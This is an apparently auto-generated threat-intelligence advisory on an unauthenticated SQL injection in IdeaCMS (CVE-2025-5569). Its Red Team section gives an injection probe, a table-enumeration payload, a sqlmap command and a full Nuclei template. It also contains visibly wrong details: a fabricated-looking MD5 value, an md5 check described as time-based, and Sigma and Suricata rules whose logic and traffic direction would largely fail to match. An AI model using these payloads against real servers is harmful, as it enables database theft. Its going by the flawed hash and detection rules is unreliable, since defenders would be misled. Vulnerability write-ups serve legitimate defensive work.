CVE-2025-5569
Executive Summary
CVE-2025-5569 is a critical SQL injection vulnerability affecting IdeaCMS versions up to 1.7. The flaw resides in the /api/v1.index.article/getList.html and /api/v1.index.goods/getList.html endpoints, where the field parameter is not properly sanitized. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, including extraction of user credentials and sensitive data. The vulnerability has a public proof-of-concept (Nuclei template) and a CVSS score of 9.8 (Critical). The vendor has released version 1.8 to address the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the IdeaCMS web application, which is a PHP-based content management system. There are no known supply chain attacks or malicious packages associated with this CVE. The risk is limited to direct exploitation of the application.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to complete compromise of the database.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the field parameter of the getList API endpoints. The application constructs SQL queries by directly concatenating user-supplied input without proper sanitization or parameterized queries.
Affected Endpoints:
/api/v1.index.article/getList.html/api/v1.index.goods/getList.html
Attack Vector:
The attacker sends a GET request with a malicious field parameter. For example:
GET /api/v1.index.article/getList.html?field=id,md5(999999999)&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
Host: target.com
The field parameter is injected into the SQL query, allowing the attacker to execute arbitrary SQL functions (e.g., md5(), sleep(), union select). The time-based payload in the Nuclei template uses md5() to confirm injection by checking if the response contains the MD5 hash of a known value.
Root Cause:
The application fails to use prepared statements or parameterized queries. The field parameter is likely concatenated directly into the SQL query string, e.g.:
SELECT {field} FROM articles WHERE ...
Vulnerable vs. Patched Code
Vulnerable Code (IdeaCMS <= 1.7): The vulnerable code likely looks like this (conceptual):
// Vulnerable: direct concatenation
$field = $_GET['field'];
$sql = "SELECT $field FROM articles WHERE ...";
$result = mysqli_query($conn, $sql);
Patched Code (IdeaCMS 1.8):
The patch (commit 935aceb4c21338633de6d41e13332f7b9db4fa6a) likely introduces input validation or whitelisting for the field parameter. A secure implementation would be:
// Patched: whitelist allowed fields
$allowedFields = ['id', 'title', 'content', 'author'];
$field = $_GET['field'];
if (!in_array($field, $allowedFields)) {
die('Invalid field');
}
$sql = "SELECT $field FROM articles WHERE ...";
$result = mysqli_query($conn, $sql);
Alternatively, the patch may use prepared statements for the entire query.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running IdeaCMS <= 1.7
- Network access to the target
Exploitation Steps:
Verify Vulnerability: Use the Nuclei template or manual request to confirm SQL injection.
curl -s "http://target.com/api/v1.index.article/getList.html?field=id,md5(999999999)&size=1&cat=3&time_stamp=1781864476"If the response contains
"id":1and the MD5 hash57e2b6c6b6b6b6b6b6b6b6b6b6b6b6b6, the vulnerability is present.Extract Data: Use SQL injection to extract database contents. Example using
UNION SELECT:field=id, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())URL-encoded:
field=id,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())Automated Exploitation: Use sqlmap for automated exploitation:
sqlmap -u "http://target.com/api/v1.index.article/getList.html?field=id&size=1&cat=3&time_stamp=1781864476" --batch --dbs
Nuclei Template (Provided):
id: CVE-2025-5569
info:
name: IdeaCMS <= 1.7 - SQL Injection
author: ritikchaddha
severity: critical
description: |
IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.
impact: |
Unauthenticated attackers can extract sensitive data from the database through SQL injection in the field parameter, potentially compromising user information and system credentials.
remediation: |
Upgrade IdeaCMS to a version later than 1.7 that properly sanitizes SQL parameters in article and product query interfaces.
reference:
- https://gitee.com/ideacms/ideacms/issues/ICBVWE#note_42016626_link
- https://nvd.nist.gov/vuln/detail/CVE-2025-5569
classification:
epss-score: 0.00601
epss-percentile: 0.6957
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-5569
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
product: IdeaCMS
shodan-query: http.favicon.hash:-1033616879
fofa-query: icon_hash:"-1033616879"
tags: cve,cve2025,ideacms,sqli,vuln
variables:
num: "999999999"
http:
- raw:
- |
GET /api/v1.index.article/getList.html?field=id,md5({{num}})&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v1.index.goods/getList.html?field=id,md5({{num}})&activity_type=hot&time_stamp=1781864476 HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- 'id":1'
- 'data":'
condition: and
- type: status
status:
- 200
Blue Team
Detection & Response:
Monitor for Suspicious Requests:
- Look for requests to
/api/v1.index.article/getList.htmlor/api/v1.index.goods/getList.htmlwith unusualfieldparameters containing SQL keywords (e.g.,UNION,SELECT,SLEEP,md5). - Alert on requests with
fieldparameter containing parentheses or commas.
- Look for requests to
Web Application Firewall (WAF) Rules: Block requests with
fieldparameter containing:- SQL keywords (e.g.,
UNION,SELECT,FROM,WHERE) - Functions like
md5(),sleep(),benchmark() - Multiple commas or parentheses
- SQL keywords (e.g.,
Log Analysis: Search for HTTP 200 responses to the vulnerable endpoints with unusual response sizes or content (e.g., MD5 hashes in the response).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/api/v1.index.article/getList.htmlor/api/v1.index.goods/getList.htmlwithfieldparameter containing SQL injection payloads. - Response bodies containing MD5 hashes (e.g.,
57e2b6c6b6b6b6b6b6b6b6b6b6b6b6b6) or database error messages.
- HTTP GET requests to
Host IOCs:
- Unusual database queries in MySQL logs (e.g.,
SELECT id,md5(999999999) FROM ...). - Presence of sqlmap or other SQL injection tools on the attacking machine.
- Unusual database queries in MySQL logs (e.g.,
File IOCs:
- Modified application files (e.g.,
index.php,api.php) if the attacker uploaded a webshell.
- Modified application files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_5569_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting IdeaCMS CVE-2025-5569"
author = "Valters IT"
date = "2025-04-10"
severity = "critical"
strings:
$s1 = "/api/v1.index.article/getList.html" nocase
$s2 = "/api/v1.index.goods/getList.html" nocase
$s3 = "field=" nocase
$s4 = "md5(" nocase
$s5 = "sleep(" nocase
$s6 = "union" nocase
$s7 = "select" nocase
condition:
(any of ($s1, $s2)) and $s3 and (any of ($s4, $s5, $s6, $s7))
}
Sigma Rule
title: CVE-2025-5569 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against IdeaCMS CVE-2025-5569
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/api/v1.index.article/getList.html'
- '/api/v1.index.goods/getList.html'
cs-uri-query|contains|all:
- 'field='
- 'md5('
- 'sleep('
- 'union'
- 'select'
condition: selection
falsepositives:
- Legitimate use of field parameter with similar patterns (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-5569 SQL Injection Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"/api/v1.index.article/getList.html";
http_uri;
content:"/api/v1.index.goods/getList.html";
http_uri;
content:"field=";
http_uri;
pcre:"/(md5\(|sleep\(|union|select)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade IdeaCMS to version 1.8 or later. The patch is available at commit
935aceb4c21338633de6d41e13332f7b9db4fa6a. - Apply WAF rules to block SQL injection patterns in the
fieldparameter. - Review database logs for signs of exploitation.
Long-term Mitigations:
- Implement parameterized queries or prepared statements for all database interactions.
- Use input validation and whitelisting for all user-supplied parameters.
- Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in other API endpoints.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.
{/* [Security Hash: 40EA0F20917091159A6AFD9D] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.